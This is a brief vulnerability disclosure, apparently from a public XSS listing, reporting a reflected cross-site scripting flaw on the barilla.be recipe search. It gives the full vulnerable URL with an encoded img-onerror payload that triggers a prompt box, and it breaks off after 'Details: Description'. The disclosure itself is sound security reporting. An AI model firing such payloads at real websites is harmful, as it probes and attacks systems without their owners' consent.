barilla.be XSS vulnerability

Vulnerable URL: http://www.barilla.be/befr/recettesmenus/Rechercherdesrecettes/searchricette.jsp?ingrediente=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=ingrediente+ingredientebarilla=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=Barilla-ricette-frbe=5=5 Details: Description|...